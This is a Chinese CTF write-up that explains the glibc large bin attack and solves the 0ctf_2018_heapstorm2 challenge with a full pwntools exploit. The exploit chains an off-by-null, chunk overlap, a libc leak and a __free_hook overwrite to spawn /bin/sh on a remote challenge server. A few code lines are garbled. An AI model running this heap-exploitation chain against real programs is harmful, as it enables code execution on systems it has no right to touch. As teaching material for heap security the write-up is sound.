堆的largebin attack利用

  • 堆的largebin attack利用已关闭评论
  • 7 views
  • A+

介绍

结构

large bin与其他bin的结构都不同,它多了两个指针fd_nextsize和bk_nextsize,直接说难以理解它的结构,先放一张图后边慢慢说它的结构:

wKg0C2CSlSqAFBDJAABeBK74Rk562.png

上图是large bin的内部结构,large bin与其他bin的主要区别在于它使用fd_nextsize指针和bk_nextsize指针链接大小不同的链表,每条链表中大小相同的chunk用fd指针和bk指针相连,large bin使用这种结构可以更好的整理内存空间。

我们知道一共有136个bin,fast bin是一个单独的数组,其中有10个bin,剩下的126个bin是另一个数组,这126个bin中序号1是unsorted bin,序号2到序号63是small bin,64到126是large bin。

fast bin使用1个数组保存10个bin,每个bin中储存的chunk size大小是固定的,取出chunk时使用一个fd指针就能完成整个循环查找合适的chunk。

unsorted bin中的chunk size大小不固定但只有一个bin,查找chunk时使用fd指针和bk足以。

small bin中链表保存的chunk size大小也是固定的,查找chunk取出时使用fd指针和bk指针就可以找到合适的chunk。

而large bin中每个bin中存储的chunk size大小不固定,每个bin中链接了不同的链表(如上图的chunk1-1和chunk1-2是一个链表),每个链表中的chunk size大小相同,取出chunk时为了能够循环查找合适的chunk需要使用fd_nextsize和bk_nextsize循环bin中的不同链表,fd_nextsize指向比自己小的链表中最大的链表的链头,bk_nextsize指向比自己大的链表中最小的链表的链头,fd_nextsize和bk_nextsize在每条链表的链头才有用,因为链表中的chunk大小固定使用fd指针和bk指针链接,large bin使用FIFO分配策略,将先进入的chunk设置为链头,后面插入chunk在链头的后面,取出时取出链头的下一个chunk。

原理

了解了large bin的结构和fd_nextsize指针和bk_nextsize指针的作用后解释largebin attack的原理。

在unsorted bin中寻找合适chunk时有时会将unsorted bin中的chunk根据大小放到small bin和large bin中去,largebin attack就是利用在将unsorted bin中的chunk放到large bin中时会改变fd_nextsize指针、bk_nextsize指针、fd指针和bk指针完成的。

看一下在将unsorted bin中的chunk放到large bin时_int_malloc作了什么处理:

wKg0C2CSlXuAf9N8AAEDxjJDhU117.png

wKg0C2CSlYeAOC3aAAB1TflGCnM146.png

上面在将unsorted bin中chunk放到large bin的过程中先检查chunk是属于small bin还是属于large bin,确定要放入的chunk属于large bin后根据chunk的size大小查找large bin的索引。按照索引进入bin后先判断该bin中是否已经存在chunk,如果不存在则直接插入并将其设置为属于该size大小的链表的链头,并设置fd_nextsize和bk_nextsize指向其本身。如果该large bin中已经存在chunk了则根据该chunk的size去查找与该size大小相同的链表,找到后如果链表的头部没有chunk则直接插入,同时使该chunk的fd_nextsize和bk_nextsize分别指向当前链表的前一个链表的链头和后一个链表的链头,如果该链表头部有了chunk则将要插入的chunk插到链头的下一个节点,并将插入的chunk的fd_nextsize指针和bk_nextsize指针设置为0。

wKg0C2CSlZ2AByAoAAAA2u1n0780.png

我们重点关注将chunk设置为链头时large bin时fd_nextsize指针和bk_nextsize指针是如何设置的,如上面的代码,将要插入的chunk的fd_nextsize指针指向要插入的链表中前面的链头,bk_nextsize指针指向前一个链头的bk_nextsize指针,前一个链头的bk_nextsize指针指向要插入的chunk,最后将要插入的chunk的bk_nextsize指针(即此时的链头指向的大于这个链的最小链头)的fd_nextsize指针设置为要插入的chunk。说不清楚看下面的这张图,victim是要插入的chunk,fwd是要插入的chunk的链前面链的链头:

wKg0C2CSla6AKMqDAAA0YPxHsVc816.png

如果伪造一个还在unsorted bin中的fake_chunk并且能够修改一个已经在large bin中的chunk的bk_nextsize指针(需要保证fake_chunk进入large bin后在chunk的后面且相邻)之后触发unlink使fake_chunk放入large bin中就能控制程序写一个chunk地址到目的地址,这里是将victim的地址写入victim->bk_nextsize->fd_nextsize。

能够写一个chunk地址到目的地址的原因在于victim->bk_nextsize->fd_nextsize = victim,现在解释起来victim->bk_nextsize或fwd->bk_nextsize是我们的目标,但是在实际操作时,fwd是可控的chunk,victim才是目标。

在之后还有

wKg0C2CSlcmALwtAAAAS7g1Bg0c211.png

wKg0C2CSldmANX7HAAApBvWYMIo528.png

除了上面能够利用fd_nextsize指针和bk_nextsize指针实现任意地址写,还可以利用fd指针和bk指针实现任意地址写,从上面的代码可以知道bck被设置为了fwd->bk可以控制(之前的条件就是放入large bin中的chunk可控),后面的这4行代码设置fd指针和bk指针,可以通过修改victim和fwd来控制一个bck。

除了在将unsorted bin中的chunk放入large bin时有能够利用的东西,在large bin中取出chunk时也存在能够利用的东西。

再看一下_int_free对从large bin中取出chunk做了什么处理:

wKg0C2CSlgqABeq3AADPOSz7xY158.png

wKg0C2CSlhiAHGHvAABzzIbD57E556.png

以上代码先根据要取出的chunk的size大小寻找合适的chunk,没有合适的chunk用其他方法分配,如果能找到则在找到的chunk属于链表中取出链头后第一个chunk返回使用,这样可以减少对fd_nextsize和bk_nextsize的操作,将chunk取出后如果正好合适则直接返回使用,多余则切割,判断切割后剩下的chunk是否大于MINSIZE,大于则放入unsorted bin中,小于返回给用户。

在上面的过程中同样存在漏洞:

wKg0C2CSljCAJBQJAAASk6dU4ds041.png

因为large bin是通过bk_nextsize循环查找chunk的,如果伪造chunk的bk_nextsize指针使其指向我们想要控制的内存地址,并且在想要控制的内存上伪造数据绕过unlink的检查,那么我们就能申请到这部分内存进而控制,要做到这点可以使fd指针和bk指针按照small binunlink的利用方式设置,并且fd_nextsize指针和bk_nextsize指针都为0绕过检查。

总结一下,large bin的利用方式和其他bin的利用大同小异,都是通过伪造指针完成的利用,只是增加了一个fd_nextsize指针和bk_nextsize指针,绕过对fd_nextsize指针和bk_nextsize指针的检查后和unsortedbin attack相似。

保护

与其他bin一样,在发现了漏洞后glibc都会添加检查机制,glibc2.30后也添加了检查,如果想要利用large bin完成攻击需要unsorted bin中的chunk的bk指针可控,large bin中的bk指针和bk_nextsize指针可控,并且最后使在large bin中的chunk和unsorted bin中的chunk在同一个large bin中,同时unsorted bin中的chunk要比large bin中的chunk大。

例题

0ctf_2018_heapstorm2

分析

wKg0C2CSlmKAWbAeAABPJvHN0UA288.png

保护全开

ida反汇编main函数:

wKg0C2CSlnWAfxlTAACtNC9Co7U092.png

sub_BE6()调用了mallopt函数关闭了fastbin的使用,使用mmap在0x13370000处申请了一块内存:

wKg0C2CSloOAU7MbAAEBgnqsig332.png

之后用fd = open("/dev/urandom", 0)向0x13370800那里写入了随机数:

wKg0C2CSlpKAYNx7AAFEMZ79QZ4065.png

allocate函数:

wKg0C2CSlqGAaBdRAADPPAMncfY635.png

最多申请16个chunk,size大小限制为12到4096,用calloc申请chunk会清空之前的内容,申请的chunk和size用前面申请的那一块内存1337 0800保存,chunk的指针与上面0x13370800左边的8字节做亦或处理后覆盖之前的值,chunk的size与右边的8字节做异或处理后覆盖右边的8字节值。

update函数:

wKg0C2CSlsGAZNT7AAC74OTsWQ429.png

update在22行存在一个off-by-null漏洞。

delete函数:

wKg0C2CSltqAM0fEAACS7xbLEb0274.png

free后将size和指针都置0。

view函数:

wKg0C2CSlu2AAj6hAAC7QgloXhk190.png

检查size^指针后是否等于0x13377331,可以通过控制chunk的内容打印信息。

思路

上面存在一个off-by-null,可以利用off-by-null来overlap chunk,但因为使用calloc申请内存在使用overlap chunk时要注意使用时要将chunk中的结构布置好,限制不能申请fast bin的chunk,chunk的size限制为12到4096,可以使用overlap chunk满足largebin attack的条件来控制0x13370800附近的内存。

先申请7个chunk,从chunk0开始

add(0x18)

add(0x508)

add(0x18)

add(0x18)

add(0x508)

add(0x18)

add(0x18)

使用chunk0、1、2布置unsorted bin chunk,chunk3、4、5布置large bin chunk,chunk6防止top chunk合并。

然后编辑chunk1的内容伪造prev_size,之后free chunk1,free后通过chunk0使用off-by-null修改chunk1的size为0x500,然后申请两个chunk保证两个chunk完全占用free的chunk1,第一个申请的新chunk1小点,第二个申请的chunk7大点保证在unsorted bin中,再free 新的chunk1,chunk7别free后面要用,以上步骤完成后现在chunk2的inuse位置是0,此时free chunk2就会触发合并,将chunk2和最初的chunk1合并,现在再申请两个chunk处理好申请的大小,现在申请的第一个chunk1大点使后面再申请一个chunk2正好能够管理chunk7,现在就完成了使用overlap chunk用chunk2控制chunk7。

edit(1,'a'*0x4F0+p64(0x500))

delete(1)

edit(0,'a'*(0x18-12))

add(0x18)

add(0x4d8)

delete(1)

delete(2)

add(0x38)

add(0x4e8)

画个图理解下:

wKg0C2CSl1OAbTGpAACOw60OFIk327.png

然后再重复上一步骤再控制一块chunk,刚才控制的是unsorted bin中的chunk,现在控制的是large bin中的chunk。

edit(4,'a'*0x4F0+p64(0x500))

delete(4)

edit(3,'a'*(0x18-12))

add(0x18)

add(0x4d8)

delete(4)

delete(5)

add(0x48)

现在利用前面能够控制的两个chunk将unsorted bin和large bin中的chunk放到对应位置,修改unsorted bin中chunk的bk指针,large bin中chunk的bk指针和bk_nextsize指针,使其实现任意地址写堆地址申请到0x13370800附近也就是写入的0x133707e3

add(0x48)

delete(2)

add(0x4e8)

delete(2)

fake_chunk = 0x13370800 - 0x20

payload = 'a' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)

edit(7, payload)

payload = 'a' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)

edit(8, payload)

add(0x48)

这步没什么好解释的,第一个delete的chunk放到了unsorted bin中,第二个放到了large bin中,之后就是利用之前堆重叠的两块chunk控制bin中的两个chunk的结构申请控制0x13370800附近的内存。

前面的步骤完成了能够控制0x13370800附近的内存后思路就清晰了,泄露libc地址,覆盖malloc_hook或free_hook为system即可

先泄露heap地址,然后利用chunk的fd指针和bk指针泄露libc地址,注意前面分析的时候提到过,要使用view函数打印信息要满足chunk的size^chunk的指针等于0x13377331,还有可以直接修改0x13370800后的4个字节绕过亦或,这里因为能够控制0x13370800附近的内存所以可以直接修改满足条件

payload = p64(0)*6 + p64(0x13370800)

edit(2, payload)

payload = p64(0)*3 +p64(0x13377331)

payload += p64(0x13370800) + p64(0x1000)

payload += p64(fake_chunk+3) + p64(8)

edit(0, payload)

show(1)

p.recvuntil("]: ")

heap = u64(p.recv(6).ljust(8, 'x00'))

payload = p64(0)*3 + p64(0x13377331)

payload += p64(0x13370800) + p64(0x1000)

payload += p64(heap+0x10) + p64(8)

edit(0, payload) show(1)

p.recvuntil("]: ")

malloc_hook = u64(p.recv(6).ljust(8, 'x00')) -0x58 - 0x10

libc_base = malloc_hook - libc.sym['__malloc_hook']

free_hook = libc_base+libc.sym['__free_hook']

system = libc_base+ libc.sym['system']

最后控制指针修改free_hook为system函数并在chunk中写入/bin/sh后free该chunk触发system('/bin/sh')即可

payload = p64(0)*4

payload += p64(free_hook) + p64(0x100)

payload += p64(0x13370800+0x40) + p64(8)

payload += '/bin/shx00'

edit(0, payload)

edit(0, p64(system))

delete(1)

p.interactive()

exp:

from pwn import

p = remote("node3.buuoj.cn", 27760)

context.log_level = 'debug'

elf = ELF("./0ctf_2018_heapstorm2")
libc = ELF('./libc-2.23.so')
def add(size):
p.recvuntil("Command: ")
p.sendline('1')
p.recvuntil("Size: ")
p.sendline(str(size))

def edit(index,content):
p.recvuntil("Command: ")
p.sendline('2')
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Size: ")
p.sendline(str(len(content)))
p.recvuntil("Content: ")
p.send(content)

def delete(index):
p.recvuntil("Command: ")
p.sendline('3')
p.recvuntil("Index: ")
p.sendline(str(index))

def show(index):
p.recvuntil("Command: ")
p.sendline('4')
p.recvuntil("Index: ")
p.sendline(str(index))

add(0x18)

add(0x508)

add(0x18)

add(0x18)

add(0x508)

add(0x18)

add(0x18)

edit(1,'a'*0x4F0+p64(0x500))

delete(1)

edit(0,'a'*(0x18-12))

add(0x18)

add(0x4d8)

delete(1)

delete(2)

add(0x38)

add(0x4e8)

edit(4,'a'*0x4F0+p64(0x500))

delete(4)

edit(3,'a'*(0x18-12))

add(0x18)

add(0x4d8)

delete(4)

delete(5)

add(0x48)

add(0x48)

delete(2)

add(0x4e8)

delete(2)

fake_chunk = 0x13370800 - 0x20

payload = 'a' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)

edit(7, payload)

payload = 'a' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)

edit(8, payload)

add(0x48)

payload = p64(0)*6 + p64(0x13370800)

edit(2, payload)

payload = p64(0)*3 +p64(0x13377331)

payload += p64(0x13370800) + p64(0x1000)

payload += p64(fake_chunk+3) + p64(8)

edit(0, payload)

show(1)

p.recvuntil("]: ")

heap = u64(p.recv(6).ljust(8, 'x00'))

payload = p64(0)*3 + p64(0x13377331)

payload += p64(0x13370800) + p64(0x1000)

payload += p64(heap+0x10) + p64(8)

edit(0, payload) show(1)

p.recvuntil("]: ")

malloc_hook = u64(p.recv(6).ljust(8, 'x00')) -0x58 - 0x10

libc_base = malloc_hook - libc.sym['__malloc_hook']

free_hook = libc_base+libc.sym['__free_hook']

system = libc_base+ libc.sym['system']

最后控制指针修改free_hook为system函数并在chunk中写入/bin/sh后free该chunk触发system('/bin/sh')即可

payload = p64(0)*4

payload += p64(free_hook) + p64(0x100)

payload += p64(0x13370800+0x40) + p64(8)

payload += '/bin/shx00'

edit(0, payload)

edit(0, p64(system))

delete(1)

p.interactive()

总结

大概是笔者学习堆的时间较少,这部分理解的不是很清楚,个人感觉largebin attack应该是堆中最难利用的,这部分需要对bin的分配很了解,绕过完成利用时也最麻烦。如果有大佬发现上面有写的不对的地方希望指正,谢谢。

参考

https://wiki.x10sec.org/pwn/linux/glibc-heap/large_bin_attack-zh/

https://blog.csdn.net/zero_lee/article/details/7865481?locationNum=3

https://blog.csdn.net/weixin_40850881/article/details/80293143

相关推荐: JavaWeb网页截图中的ssrf

一、相关背景   有些网站需求提供网页截图功能,例如反馈意见时需要带上屏幕截图,又或者说将项目中统计报表的界面的数据定时发送等。部分情况下是使用PhantomJs实现,但是存在退出进程无法清理干净、容易被反爬虫等问题。同时Phantomjs…